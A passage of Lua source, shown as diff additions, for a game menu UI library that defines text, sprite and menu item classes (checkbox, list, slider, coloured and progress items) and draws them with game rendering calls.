+function UIResText.New(Text, X, Y, Scale, R, G, B, A, Font, Alignment, DropShadow, Outline, WordWrap) + local _UIResText = { + _Text = tostring(Text) or "", + X = tonumber(X) or 0, + Y = tonumber(Y) or 0, + Scale = tonumber(Scale) or 0, + _Colour = { R = tonumber(R) or 255, G = tonumber(G) or 255, B = tonumber(B) or 255, A = tonumber(A) or 255 }, + Font = tonumber(Font) or 0, + Alignment = Alignment or nil, + DropShadow = Dropshadow or nil, + Outline = Outline or nil, + WordWrap = tonumber(WordWrap) or 0, + } + return setmetatable(_UIResText, UIResText) +end + +function UIResText:Position(X, Y) + if tonumber(X) and tonumber(Y) then + self.X = tonumber(X) + self.Y = tonumber(Y) + else + return { X = self.X, Y = self.Y } + end +end + +function UIResText:Colour(R, G, B, A) + if tonumber(R) and tonumber(G) and tonumber(B) and tonumber(A) then + self._Colour.R = tonumber(R) + self._Colour.B = tonumber(B) + self._Colour.G = tonumber(G) + self._Colour.A = tonumber(A) + else + return self._Colour + end +end + +function UIResText:Text(Text) + if tostring(Text) and Text ~= nil then + self._Text = tostring(Text) + else + return self._Text + end +end + +function UIResText:Draw() + local Position = self:Position() + Position.X, Position.Y = FormatXWYH(Position.X, Position.Y) + + SetTextFont(self.Font) + SetTextScale(1.0, self.Scale) + SetTextColour(self._Colour.R, self._Colour.G, self._Colour.B, self._Colour.A) + + if self.DropShadow then + SetTextDropShadow() + end + if self.Outline then + SetTextOutline() + end + + if self.Alignment ~= nil then + if self.Alignment == 1 or self.Alignment == "Center" or self.Alignment == "Centre" then + SetTextCentre(true) + elseif self.Alignment == 2 or self.Alignment == "Right" then + SetTextRightJustify(true) + SetTextWrap(0, Position.X) + end + end + + if tonumber(self.WordWrap) then + if tonumber(self.WordWrap) ~= 0 then + SetTextWrap(Position.X, Position.X + (tonumber(self.WordWrap) / Resolution.Width)) + end + end + + BeginTextCommandDisplayText("STRING") + AddLongString(self._Text) + EndTextCommandDisplayText(Position.X, Position.Y) +end + +function RenderText(Text, X, Y, Font, Scale, R, G, B, A, Alignment, DropShadow, Outline, WordWrap) + Text = tostring(Text) + X, Y = FormatXWYH(X, Y) + SetTextFont(Font or 0) + SetTextScale(1.0, Scale or 0) + SetTextColour(R or 255, G or 255, B or 255, A or 255) + + if DropShadow then + SetTextDropShadow() + end + if Outline then + SetTextOutline() + end + + if Alignment ~= nil then + if Alignment == 1 or Alignment == "Center" or Alignment == "Centre" then + SetTextCentre(true) + elseif Alignment == 2 or Alignment == "Right" then + SetTextRightJustify(true) + SetTextWrap(0, X) + end + end + + if tonumber(WordWrap) then + if tonumber(WordWrap) ~= 0 then + WordWrap, _ = FormatXWYH(WordWrap, 0) + SetTextWrap(WordWrap, X - WordWrap) + end + end + + BeginTextCommandDisplayText("STRING") + AddLongString(Text) + EndTextCommandDisplayText(X, Y) +end + +--[[ + Sprite.lua + Elements +--]] + +function Sprite.New(TxtDictionary, TxtName, X, Y, Width, Height, Heading, R, G, B, A) + local _Sprite = { + TxtDictionary = tostring(TxtDictionary), + TxtName = tostring(TxtName), + X = tonumber(X) or 0, + Y = tonumber(Y) or 0, + Width = tonumber(Width) or 0, + Height = tonumber(Height) or 0, + Heading = tonumber(Heading) or 0, + _Colour = { R = tonumber(R) or 255, G = tonumber(G) or 255, B = tonumber(B) or 255, A = tonumber(A) or 255 }, + } + return setmetatable(_Sprite, Sprite) +end + +function Sprite:Position(X, Y) + if tonumber(X) and tonumber(Y) then + self.X = tonumber(X) + self.Y = tonumber(Y) + else + return { X = self.X, Y = self.Y } + end +end + +function Sprite:Size(Width, Height) + if tonumber(Width) and tonumber(Width) then + self.Width = tonumber(Width) + self.Height = tonumber(Height) + else + return { Width = self.Width, Height = self.Height } + end +end + +function Sprite:Colour(R, G, B, A) + if tonumber(R) or tonumber(G) or tonumber(B) or tonumber(A) then + self._Colour.R = tonumber(R) or 255 + self._Colour.B = tonumber(B) or 255 + self._Colour.G = tonumber(G) or 255 + self._Colour.A = tonumber(A) or 255 + else + return self._Colour + end +end + +function Sprite:Draw() + if not HasStreamedTextureDictLoaded(self.TxtDictionary) then + RequestStreamedTextureDict(self.TxtDictionary, true) + end + local Position = self:Position() + local Size = self:Size() + Size.Width, Size.Height = FormatXWYH(Size.Width, Size.Height) + Position.X, Position.Y = FormatXWYH(Position.X, Position.Y) + DrawSprite(self.TxtDictionary, self.TxtName, Position.X + Size.Width * 0.5, Position.Y + Size.Height * 0.5, Size.Width, Size.Height, self.Heading, self._Colour.R, self._Colour.G, self._Colour.B, self._Colour.A) +end + +function DrawTexture(TxtDictionary, TxtName, X, Y, Width, Height, Heading, R, G, B, A) + if not HasStreamedTextureDictLoaded(tostring(TxtDictionary) or "") then + RequestStreamedTextureDict(tostring(TxtDictionary) or "", true) + end + X, Y, Width, Height = X or 0, Y or 0, Width or 0, Height or 0 + X, Y = FormatXWYH(X, Y) + Width, Height = FormatXWYH(Width, Height) + DrawSprite(tostring(TxtDictionary) or "", tostring(TxtName) or "", X + Width * 0.5, Y + Height * 0.5, Width, Height, tonumber(Heading) or 0, tonumber(R) or 255, tonumber(G) or 255, tonumber(B) or 255, tonumber(A) or 255) +end + +--[[ + StringMeasurer.lua + Elements +--]] + +function MeasureString(str) + local output = 0 + for i = 1, GetCharacterCount(str), 1 do + if CharacterMap[string.sub(str, i, i)] then + output = output + CharacterMap[string.sub(str, i, i)] + 1 + end + end + return output +end + +--[[ + Badge.lua + Elements +--]] + +function GetBadgeTexture(Badge, Selected) + if BadgeTexture[Badge] then + return BadgeTexture[Badge](Selected) + else + return "" + end +end + +function GetBadgeDictionary(Badge, Selected) + if BadgeDictionary[Badge] then + return BadgeDictionary[Badge](Selected) + else + return "commonmenu" + end +end + +function GetBadgeColour(Badge, Selected) + if BadgeColour[Badge] then + return BadgeColour[Badge](Selected) + else + return 255, 255, 255, 255 + end +end + +--[[ + Colours.lua + Elements +--]] + +--[[ + UIMenuItem.lua + Items +--]] + +function UIMenuItem.New(Text, Description) + _UIMenuItem = { + Rectangle = UIResRectangle.New(0, 0, 431, 38, 255, 255, 255, 20), + Text = UIResText.New(tostring(Text) or "", 8, 0, 0.33, 245, 245, 245, 255, 0), + _Description = tostring(Description) or ""; + SelectedSprite = Sprite.New("commonmenu", "gradient_nav", 0, 0, 431, 38), + LeftBadge = { Sprite = Sprite.New("commonmenu", "", 0, 0, 40, 40), Badge = 0 }, + RightBadge = { Sprite = Sprite.New("commonmenu", "", 0, 0, 40, 40), Badge = 0 }, + Label = { + Text = UIResText.New("", 0, 0, 0.35, 245, 245, 245, 255, 0, "Right"), + MainColour = { R = 255, G = 255, B = 255, A = 255 }, + HighlightColour = { R = 0, G = 0, B = 0, A = 255 }, + }, + _Selected = false, + _Hovered = false, + _Enabled = true, + _Offset = { X = 0, Y = 0 }, + ParentMenu = nil, + Panels = {}, + Activated = function(menu, item, panels) end, + ActivatedPanel = function(menu, item, panel, panelvalue) end, + } + return setmetatable(_UIMenuItem, UIMenuItem) +end + +function UIMenuItem:SetParentMenu(Menu) + if Menu ~= nil and Menu() == "UIMenu" then + self.ParentMenu = Menu + else + return self.ParentMenu + end +end + +function UIMenuItem:Selected(bool) + if bool ~= nil then + self._Selected = tobool(bool) + else + return self._Selected + end +end + +function UIMenuItem:Hovered(bool) + if bool ~= nil then + self._Hovered = tobool(bool) + else + return self._Hovered + end +end + +function UIMenuItem:Enabled(bool) + if bool ~= nil then + self._Enabled = tobool(bool) + else + return self._Enabled + end +end + +function UIMenuItem:Description(str) + if tostring(str) and str ~= nil then + self._Description = tostring(str) + else + return self._Description + end +end + +function UIMenuItem:Offset(X, Y) + if tonumber(X) or tonumber(Y) then + if tonumber(X) then + self._Offset.X = tonumber(X) + end + if tonumber(Y) then + self._Offset.Y = tonumber(Y) + end + else + return self._Offset + end +end + +function UIMenuItem:Position(Y) + if tonumber(Y) then + self.Rectangle:Position(self._Offset.X, Y + 144 + self._Offset.Y) + self.SelectedSprite:Position(0 + self._Offset.X, Y + 144 + self._Offset.Y) + self.Text:Position(8 + self._Offset.X, Y + 147 + self._Offset.Y) + self.LeftBadge.Sprite:Position(0 + self._Offset.X, Y + 142 + self._Offset.Y) + self.RightBadge.Sprite:Position(385 + self._Offset.X, Y + 142 + self._Offset.Y) + self.Label.Text:Position(420 + self._Offset.X, Y + 148 + self._Offset.Y) + end +end + +function UIMenuItem:RightLabel(Text, MainColour, HighlightColour) + if tostring(Text) and Text ~= nil then + if type(MainColour) == "table" then + self.Label.MainColour = MainColour + end + if type(HighlightColour) == "table" then + self.Label.HighlightColour = HighlightColour + end + self.Label.Text:Text(tostring(Text)) + else + return self.Label.Text:Text() + end +end + +function UIMenuItem:SetLeftBadge(Badge) + if tonumber(Badge) then + self.LeftBadge.Badge = tonumber(Badge) + end +end + +function UIMenuItem:SetRightBadge(Badge) + if tonumber(Badge) then + self.RightBadge.Badge = tonumber(Badge) + end +end + +function UIMenuItem:Text(Text) + if tostring(Text) and Text ~= nil then + self.Text:Text(tostring(Text)) + else + return self.Text:Text() + end +end + +function UIMenuItem:AddPanel(Panel) + if Panel() == "UIMenuPanel" then + table.insert(self.Panels, Panel) + Panel:SetParentItem(self) + end +end + +function UIMenuItem:RemovePanelAt(Index) + if tonumber(Index) then + if self.Panels[Index] then + table.remove(self.Panels, tonumber(Index)) + end + end +end + +function UIMenuItem:FindPanelIndex(Panel) + if Panel() == "UIMenuPanel" then + for Index = 1, #self.Panels do + if self.Panels[Index] == Panel then + return Index + end + end + end + return nil +end + +function UIMenuItem:FindPanelItem() + for Index = #self.Items, 1, -1 do + if self.Items[Index].Panel then + return Index + end + end + return nil +end + +function UIMenuItem:Draw() + self.Rectangle:Size(431 + self.ParentMenu.WidthOffset, self.Rectangle.Height) + self.SelectedSprite:Size(431 + self.ParentMenu.WidthOffset, self.SelectedSprite.Height) + + if self._Hovered and not self._Selected then + self.Rectangle:Draw() + end + + if self._Selected then + self.SelectedSprite:Draw() + end + + if self._Enabled then + if self._Selected then + self.Text:Colour(0, 0, 0, 255) + self.Label.Text:Colour(self.Label.HighlightColour.R, self.Label.HighlightColour.G, self.Label.HighlightColour.B, self.Label.HighlightColour.A) + else + self.Text:Colour(245, 245, 245, 255) + self.Label.Text:Colour(self.Label.MainColour.R, self.Label.MainColour.G, self.Label.MainColour.B, self.Label.MainColour.A) + end + else + self.Text:Colour(163, 159, 148, 255) + self.Label.Text:Colour(163, 159, 148, 255) + end + + if self.LeftBadge.Badge == BadgeStyle.None then + self.Text:Position(8 + self._Offset.X, self.Text.Y) + else + self.Text:Position(35 + self._Offset.X, self.Text.Y) + self.LeftBadge.Sprite.TxtDictionary = GetBadgeDictionary(self.LeftBadge.Badge, self._Selected) + self.LeftBadge.Sprite.TxtName = GetBadgeTexture(self.LeftBadge.Badge, self._Selected) + self.LeftBadge.Sprite:Colour(GetBadgeColour(self.LeftBadge.Badge, self._Selected)) + self.LeftBadge.Sprite:Draw() + end + + if self.RightBadge.Badge ~= BadgeStyle.None then + self.RightBadge.Sprite:Position(385 + self._Offset.X + self.ParentMenu.WidthOffset, self.RightBadge.Sprite.Y) + self.RightBadge.Sprite.TxtDictionary = GetBadgeDictionary(self.RightBadge.Badge, self._Selected) + self.RightBadge.Sprite.TxtName = GetBadgeTexture(self.RightBadge.Badge, self._Selected) + self.RightBadge.Sprite:Colour(GetBadgeColour(self.RightBadge.Badge, self._Selected)) + self.RightBadge.Sprite:Draw() + end + + if self.Label.Text:Text() ~= "" and string.len(self.Label.Text:Text()) > 0 then + self.Label.Text:Position(420 + self._Offset.X + self.ParentMenu.WidthOffset, self.Label.Text.Y) + self.Label.Text:Draw() + end + + self.Text:Draw() +end + +--[[ + UIMenuCheckboxItem.lua + Items +--]] + +function UIMenuCheckboxItem.New(Text, Check, Description) + local _UIMenuCheckboxItem = { + Base = UIMenuItem.New(Text or "", Description or ""), + CheckedSprite = Sprite.New("commonmenu", "shop_box_blank", 410, 95, 50, 50), + Checked = tobool(Check), + CheckboxEvent = function(menu, item, checked) end, + } + return setmetatable(_UIMenuCheckboxItem, UIMenuCheckboxItem) +end + +function UIMenuCheckboxItem:SetParentMenu(Menu) + if Menu() == "UIMenu" then + self.Base.ParentMenu = Menu + else + return self.Base.ParentMenu + end +end + +function UIMenuCheckboxItem:Position(Y) + if tonumber(Y) then + self.Base:Position(Y) + self.CheckedSprite:Position(380 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, Y + 138 + self.Base._Offset.Y) + end +end + +function UIMenuCheckboxItem:Selected(bool) + if bool ~= nil then + self.Base._Selected = tobool(bool) + else + return self.Base._Selected + end +end + +function UIMenuCheckboxItem:Hovered(bool) + if bool ~= nil then + self.Base._Hovered = tobool(bool) + else + return self.Base._Hovered + end +end + +function UIMenuCheckboxItem:Enabled(bool) + if bool ~= nil then + self.Base._Enabled = tobool(bool) + else + return self.Base._Enabled + end +end + +function UIMenuCheckboxItem:Description(str) + if tostring(str) and str ~= nil then + self.Base._Description = tostring(str) + else + return self.Base._Description + end +end + +function UIMenuCheckboxItem:Offset(X, Y) + if tonumber(X) or tonumber(Y) then + if tonumber(X) then + self.Base._Offset.X = tonumber(X) + end + if tonumber(Y) then + self.Base._Offset.Y = tonumber(Y) + end + else + return self.Base._Offset + end +end + +function UIMenuCheckboxItem:Text(Text) + if tostring(Text) and Text ~= nil then + self.Base.Text:Text(tostring(Text)) + else + return self.Base.Text:Text() + end +end + +function UIMenuCheckboxItem:SetLeftBadge() + error("This item does not support badges") +end + +function UIMenuCheckboxItem:SetRightBadge() + error("This item does not support badges") +end + +function UIMenuCheckboxItem:RightLabel() + error("This item does not support a right label") +end + +function UIMenuCheckboxItem:Draw() + self.Base:Draw() + self.CheckedSprite:Position(380 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, self.CheckedSprite.Y) + if self.Base:Selected() then + if self.Checked then + self.CheckedSprite.TxtName = "shop_box_tickb" + else + self.CheckedSprite.TxtName = "shop_box_blankb" + end + else + if self.Checked then + self.CheckedSprite.TxtName = "shop_box_tick" + else + self.CheckedSprite.TxtName = "shop_box_blank" + end + end + self.CheckedSprite:Draw() +end + +--[[ + UIMenuListItem.lua + Items +--]] + +function UIMenuListItem.New(Text, Items, Index, Description) + if type(Items) ~= "table" then Items = {} end + if Index == 0 then Index = 1 end + local _UIMenuListItem = { + Base = UIMenuItem.New(Text or "", Description or ""), + Items = Items, + LeftArrow = Sprite.New("commonmenu", "arrowleft", 110, 105, 30, 30), + RightArrow = Sprite.New("commonmenu", "arrowright", 280, 105, 30, 30), + ItemText = UIResText.New("", 290, 104, 0.35, 255, 255, 255, 255, 0, "Right"), + _Index = tonumber(Index) or 1, + Panels = {}, + OnListChanged = function(menu, item, newindex) end, + OnListSelected = function(menu, item, newindex) end, + } + return setmetatable(_UIMenuListItem, UIMenuListItem) +end + +function UIMenuListItem:SetParentMenu(Menu) + if Menu ~= nil and Menu() == "UIMenu" then + self.Base.ParentMenu = Menu + else + return self.Base.ParentMenu + end +end + +function UIMenuListItem:Position(Y) + if tonumber(Y) then + self.LeftArrow:Position(300 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, 147 + Y + self.Base._Offset.Y) + self.RightArrow:Position(400 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, 147 + Y + self.Base._Offset.Y) + self.ItemText:Position(300 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, 147 + Y + self.Base._Offset.Y) + self.Base:Position(Y) + end +end + +function UIMenuListItem:Selected(bool) + if bool ~= nil then + self.Base._Selected = tobool(bool) + else + return self.Base._Selected + end +end + +function UIMenuListItem:Hovered(bool) + if bool ~= nil then + self.Base._Hovered = tobool(bool) + else + return self.Base._Hovered + end +end + +function UIMenuListItem:Enabled(bool) + if bool ~= nil then + self.Base._Enabled = tobool(bool) + else + return self.Base._Enabled + end +end + +function UIMenuListItem:Description(str) + if tostring(str) and str ~= nil then + self.Base._Description = tostring(str) + else + return self.Base._Description + end +end + +function UIMenuListItem:Offset(X, Y) + if tonumber(X) or tonumber(Y) then + if tonumber(X) then + self.Base._Offset.X = tonumber(X) + end + if tonumber(Y) then + self.Base._Offset.Y = tonumber(Y) + end + else + return self.Base._Offset + end +end + +function UIMenuListItem:Text(Text) + if tostring(Text) and Text ~= nil then + self.Base.Text:Text(tostring(Text)) + else + return self.Base.Text:Text() + end +end + +function UIMenuListItem:Index(Index) + if tonumber(Index) then + if tonumber(Index) > #self.Items then + self._Index = 1 + elseif tonumber(Index) < 1 then + self._Index = #self.Items + else + self._Index = tonumber(Index) + end + else + return self._Index + end +end + +function UIMenuListItem:ItemToIndex(Item) + for i = 1, #self.Items do + if type(Item) == type(self.Items[i]) and Item == self.Items[i] then + return i + elseif type(self.Items[i]) == "table" and (type(Item) == type(self.Items[i].Name) or type(Item) == type(self.Items[i].Value)) and (Item == self.Items[i].Name or Item == self.Items[i].Value) then + return i + end + end +end + +function UIMenuListItem:IndexToItem(Index) + if tonumber(Index) then + if tonumber(Index) == 0 then Index = 1 end + if self.Items[tonumber(Index)] then + return self.Items[tonumber(Index)] + end + end +end + +function UIMenuListItem:SetLeftBadge() + error("This item does not support badges") +end + +function UIMenuListItem:SetRightBadge() + error("This item does not support badges") +end + +function UIMenuListItem:RightLabel() + error("This item does not support a right label") +end + +function UIMenuListItem:AddPanel(Panel) + if Panel() == "UIMenuPanel" then + table.insert(self.Panels, Panel) + Panel:SetParentItem(self) + end +end + +function UIMenuListItem:RemovePanelAt(Index) + if tonumber(Index) then + if self.Panels[Index] then + table.remove(self.Panels, tonumber(Index)) + end + end +end + +function UIMenuListItem:FindPanelIndex(Panel) + if Panel() == "UIMenuPanel" then + for Index = 1, #self.Panels do + if self.Panels[Index] == Panel then + return Index + end + end + end + return nil +end + +function UIMenuListItem:FindPanelItem() + for Index = #self.Items, 1, -1 do + if self.Items[Index].Panel then + return Index + end + end + return nil +end + +function UIMenuListItem:Draw() + self.Base:Draw() + + if self:Enabled() then + if self:Selected() then + self.ItemText:Colour(0, 0, 0, 255) + self.LeftArrow:Colour(0, 0, 0, 255) + self.RightArrow:Colour(0, 0, 0, 255) + else + self.ItemText:Colour(245, 245, 245, 255) + self.LeftArrow:Colour(245, 245, 245, 255) + self.RightArrow:Colour(245, 245, 245, 255) + end + else + self.ItemText:Colour(163, 159, 148, 255) + self.LeftArrow:Colour(163, 159, 148, 255) + self.RightArrow:Colour(163, 159, 148, 255) + end + + local Text = (type(self.Items[self._Index]) == "table") and tostring(self.Items[self._Index].Name) or tostring(self.Items[self._Index]) + local Offset = MeasureStringWidth(Text, 0, 0.35) + + self.ItemText:Text(Text) + self.LeftArrow:Position(378 - Offset + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, self.LeftArrow.Y) + + if self:Selected() then + self.LeftArrow:Draw() + self.RightArrow:Draw() + self.ItemText:Position(403 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, self.ItemText.Y) + else + self.ItemText:Position(418 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, self.ItemText.Y) + end + + self.ItemText:Draw() +end + +--[[ + UIMenuSliderItem.lua + Items +--]] + +function UIMenuSliderItem.New(Text, Items, Index, Description, Divider) + if type(Items) ~= "table" then Items = {} end + if Index == 0 then Index = 1 end + local _UIMenuSliderItem = { + Base = UIMenuItem.New(Text or "", Description or ""), + Items = Items, + ShowDivider = tobool(Divider), + LeftArrow = Sprite.New("commonmenutu", "arrowleft", 0, 105, 15, 15), + RightArrow = Sprite.New("commonmenutu", "arrowright", 0, 105, 15, 15), + Background = UIResRectangle.New(0, 0, 150, 9, 4, 32, 57, 255), + Slider = UIResRectangle.New(0, 0, 75, 9, 57, 116, 200, 255), + Divider = UIResRectangle.New(0, 0, 2.5, 20, 245, 245, 245, 255), + _Index = tonumber(Index) or 1, + OnSliderChanged = function(menu, item, newindex) end, + OnSliderSelected = function(menu, item, newindex) end, + } + return setmetatable(_UIMenuSliderItem, UIMenuSliderItem) +end + +function UIMenuSliderItem:SetParentMenu(Menu) + if Menu() == "UIMenu" then + self.Base.ParentMenu = Menu + else + return self.Base.ParentMenu + end +end + +function UIMenuSliderItem:Position(Y) + if tonumber(Y) then + self.Background:Position(250 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, Y + 158.5 + self.Base._Offset.Y) + self.Slider:Position(250 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, Y + 158.5 + self.Base._Offset.Y) + self.Divider:Position(323.5 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, Y + 153 + self.Base._Offset.Y) + self.LeftArrow:Position(235 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, 155.5 + Y + self.Base._Offset.Y) + self.RightArrow:Position(400 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, 155.5 + Y + self.Base._Offset.Y) + self.Base:Position(Y) + end +end + +function UIMenuSliderItem:Selected(bool) + if bool ~= nil then + self.Base._Selected = tobool(bool) + else + return self.Base._Selected + end +end + +function UIMenuSliderItem:Hovered(bool) + if bool ~= nil then + self.Base._Hovered = tobool(bool) + else + return self.Base._Hovered + end +end + +function UIMenuSliderItem:Enabled(bool) + if bool ~= nil then + self.Base._Enabled = tobool(bool) + else + return self.Base._Enabled + end +end + +function UIMenuSliderItem:Description(str) + if tostring(str) and str ~= nil then + self.Base._Description = tostring(str) + else + return self.Base._Description + end +end + +function UIMenuSliderItem:Offset(X, Y) + if tonumber(X) or tonumber(Y) then + if tonumber(X) then + self.Base._Offset.X = tonumber(X) + end + if tonumber(Y) then + self.Base._Offset.Y = tonumber(Y) + end + else + return self.Base._Offset + end +end + +function UIMenuSliderItem:Text(Text) + if tostring(Text) and Text ~= nil then + self.Base.Text:Text(tostring(Text)) + else + return self.Base.Text:Text() + end +end + +function UIMenuSliderItem:Index(Index) + if tonumber(Index) then + if tonumber(Index) > #self.Items then + self._Index = 1 + elseif tonumber(Index) < 1 then + self._Index = #self.Items + else + self._Index = tonumber(Index) + end + else + return self._Index + end +end + +function UIMenuSliderItem:ItemToIndex(Item) + for i = 1, #self.Items do + if type(Item) == type(self.Items[i]) and Item == self.Items[i] then + return i + end + end +end + +function UIMenuSliderItem:IndexToItem(Index) + if tonumber(Index) then + if tonumber(Index) == 0 then Index = 1 end + if self.Items[tonumber(Index)] then + return self.Items[tonumber(Index)] + end + end +end + +function UIMenuSliderItem:SetLeftBadge() + error("This item does not support badges") +end + +function UIMenuSliderItem:SetRightBadge() + error("This item does not support badges") +end + +function UIMenuSliderItem:RightLabel() + error("This item does not support a right label") +end + +function UIMenuSliderItem:Draw() + self.Base:Draw() + + if self:Enabled() then + if self:Selected() then + self.LeftArrow:Colour(0, 0, 0, 255) + self.RightArrow:Colour(0, 0, 0, 255) + else + self.LeftArrow:Colour(245, 245, 245, 255) + self.RightArrow:Colour(245, 245, 245, 255) + end + else + self.LeftArrow:Colour(163, 159, 148, 255) + self.RightArrow:Colour(163, 159, 148, 255) + end + + local Offset = ((self.Background.Width - self.Slider.Width) / (#self.Items - 1)) * (self._Index - 1) + + self.Slider:Position(250 + self.Base._Offset.X + Offset + self.Base.ParentMenu.WidthOffset, self.Slider.Y) + + if self:Selected() then + self.LeftArrow:Draw() + self.RightArrow:Draw() + end + + self.Background:Draw() + self.Slider:Draw() + if self.ShowDivider then + self.Divider:Draw() + end +end + +--[[ + UIMenuColouredItem.lua + Items +--]] + +function UIMenuColouredItem.New(Text, Description, MainColour, HighlightColour) + if type(Colour) ~= "table" then Colour = { R = 0, G = 0, B = 0, A = 255 } end + if type(HighlightColour) ~= "table" then Colour = { R = 255, G = 255, B = 255, A = 255 } end + local _UIMenuColouredItem = { + Base = UIMenuItem.New(Text or "", Description or ""), + Rectangle = UIResRectangle.New(0, 0, 431, 38, MainColour.R, MainColour.G, MainColour.B, MainColour.A), + MainColour = MainColour, + HighlightColour = HighlightColour, + Activated = function(menu, item) end, + } + _UIMenuColouredItem.Base.SelectedSprite:Colour(HighlightColour.R, HighlightColour.G, HighlightColour.B, HighlightColour.A) + return setmetatable(_UIMenuColouredItem, UIMenuColouredItem) +end + +function UIMenuColouredItem:SetParentMenu(Menu) + if Menu() == "UIMenu" then + self.Base.ParentMenu = Menu + else + return self.Base.ParentMenu + end +end + +function UIMenuColouredItem:Position(Y) + if tonumber(Y) then + self.Base:Position(Y) + self.Rectangle:Position(self.Base._Offset.X, Y + 144 + self.Base._Offset.Y) + end +end + +function UIMenuColouredItem:Selected(bool) + if bool ~= nil then + self.Base._Selected = tobool(bool) + else + return self.Base._Selected + end +end + +function UIMenuColouredItem:Hovered(bool) + if bool ~= nil then + self.Base._Hovered = tobool(bool) + else + return self.Base._Hovered + end +end + +function UIMenuColouredItem:Enabled(bool) + if bool ~= nil then + self.Base._Enabled = tobool(bool) + else + return self.Base._Enabled + end +end + +function UIMenuColouredItem:Description(str) + if tostring(str) and str ~= nil then + self.Base._Description = tostring(str) + else + return self.Base._Description + end +end + +function UIMenuColouredItem:Offset(X, Y) + if tonumber(X) or tonumber(Y) then + if tonumber(X) then + self.Base._Offset.X = tonumber(X) + end + if tonumber(Y) then + self.Base._Offset.Y = tonumber(Y) + end + else + return self.Base._Offset + end +end + +function UIMenuColouredItem:Text(Text) + if tostring(Text) and Text ~= nil then + self.Base.Text:Text(tostring(Text)) + else + return self.Base.Text:Text() + end +end + +function UIMenuColouredItem:RightLabel(Text, MainColour, HighlightColour) + if tostring(Text) and Text ~= nil then + if type(MainColour) == "table" then + self.Base.Label.MainColour = MainColour + end + if type(HighlightColour) == "table" then + self.Base.Label.HighlightColour = HighlightColour + end + self.Base.Label.Text:Text(tostring(Text)) + else + return self.Base.Label.Text:Text() + end +end + +function UIMenuColouredItem:SetLeftBadge(Badge) + if tonumber(Badge) then + self.Base.LeftBadge.Badge = tonumber(Badge) + end +end + +function UIMenuColouredItem:SetRightBadge(Badge) + if tonumber(Badge) then + self.Base.RightBadge.Badge = tonumber(Badge) + end +end + +function UIMenuColouredItem:Draw() + self.Rectangle:Size(431 + self.ParentMenu.WidthOffset, self.Rectangle.Height) + self.Rectangle:Draw() + self.Base:Draw() +end + +--[[ + UIMenuProgressItem.lua + Items +--]] + +function UIMenuProgressItem.New(Text, Items, Index, Description, Counter) + if type(Items) ~= "table" then Items = {} end + if Index == 0 then Index = 1 end + local _UIMenuProgressItem = { + Base = UIMenuItem.New(Text or "", Description or ""), + Data = { + Items = Items, + Counter = tobool(Counter), + Max = 407.5, + Index = tonumber(Index) or 1, + }, + Background = UIResRectangle.New(0, 0, 415, 20), + Bar = UIResRectangle.New(0, 0, 407.5, 12.5), + OnProgressChanged = function(menu, item, newindex) end, + OnProgressSelected = function(menu, item, newindex) end, + } + + _UIMenuProgressItem.Base.Rectangle.Height = 60 + _UIMenuProgressItem.Base.SelectedSprite.Height = 60 + + if _UIMenuProgressItem.Data.Counter then + _UIMenuProgressItem.Base:RightLabel(_UIMenuProgressItem.Data.Index .. "/" .. #_UIMenuProgressItem.Data.Items) + else + _UIMenuProgressItem.Base:RightLabel((type(_UIMenuProgressItem.Data.Items[_UIMenuProgressItem.Data.Index]) == "table") and tostring(_UIMenuProgressItem.Data.Items[_UIMenuProgressItem.Data.Index].Name) or tostring(_UIMenuProgressItem.Data.Items[_UIMenuProgressItem.Data.Index])) + end + + _UIMenuProgressItem.Bar.Width = _UIMenuProgressItem.Data.Index / #_UIMenuProgressItem.Data.Items * _UIMenuProgressItem.Data.Max + + return setmetatable(_UIMenuProgressItem, UIMenuProgressItem) +end + +function UIMenuProgressItem:SetParentMenu(Menu) + if Menu() == "UIMenu" then + self.Base.ParentMenu = Menu + else + return self.Base.ParentMenu + end +end + +function UIMenuProgressItem:Position(Y) + if tonumber(Y) then + self.Base:Position(Y) + self.Background:Position(8 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, 177 + Y + self.Base._Offset.Y) + self.Bar:Position(11.75 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, 180.75 + Y + self.Base._Offset.Y) + end +end + +function UIMenuProgressItem:Selected(bool) + if bool ~= nil then + self.Base._Selected = tobool(bool) + else + return self.Base._Selected + end +end + +function UIMenuProgressItem:Hovered(bool) + if bool ~= nil then + self.Base._Hovered = tobool(bool) + else + return self.Base._Hovered + end +end + +function UIMenuProgressItem:Enabled(bool) + if bool ~= nil then + self.Base._Enabled = tobool(bool) + else + return self.Base._Enabled + end +end + +function UIMenuProgressItem:Description(str) + if tostring(str) and str ~= nil then + self.Base._Description = tostring(str) + else + return self.Base._Description + end +end + +function UIMenuProgressItem:Offset(X, Y) + if tonumber(X) or tonumber(Y) then + if tonumber(X) then + self.Base._Offset.X = tonumber(X) + end + if tonumber(Y) then + self.Base._Offset.Y = tonumber(Y) + end + else + return self.Base._Offset + end +end + +function UIMenuProgressItem:Text(Text) + if tostring(Text) and Text ~= nil then + self.Base.Text:Text(tostring(Text)) + else + return self.Base.Text:Text() + end +end + +function UIMenuProgressItem:Index(Index) + if tonumber(Index) then + if tonumber(Index) > #self.Data.Items then + self.Data.Index = 1 + elseif tonumber(Index) < 1 then + self.Data.Index = #self.Data.Items + else + self.Data.Index = tonumber(Index) + end + + if self.Data.Counter then + self.Base:RightLabel(self.Data.Index .. "/" .. #self.Data.Items) + else + self.Base:RightLabel((type(self.Data.Items[self.Data.Index]) == "table") and tostring(self.Data.Items[self.Data.Index].Name) or tostring(self.Data.Items[self.Data.Index])) + end + + self.Bar.Width = self.Data.Index / #self.Data.Items * self.Data.Max + else + return self.Data.Index + end +end + +function UIMenuProgressItem:ItemToIndex(Item) + for i = 1, #self.Data.Items do + if type(Item) == type(self.Data.Items[i]) and Item == self.Data.Items[i] then + return i + elseif type(self.Data.Items[i]) == "table" and 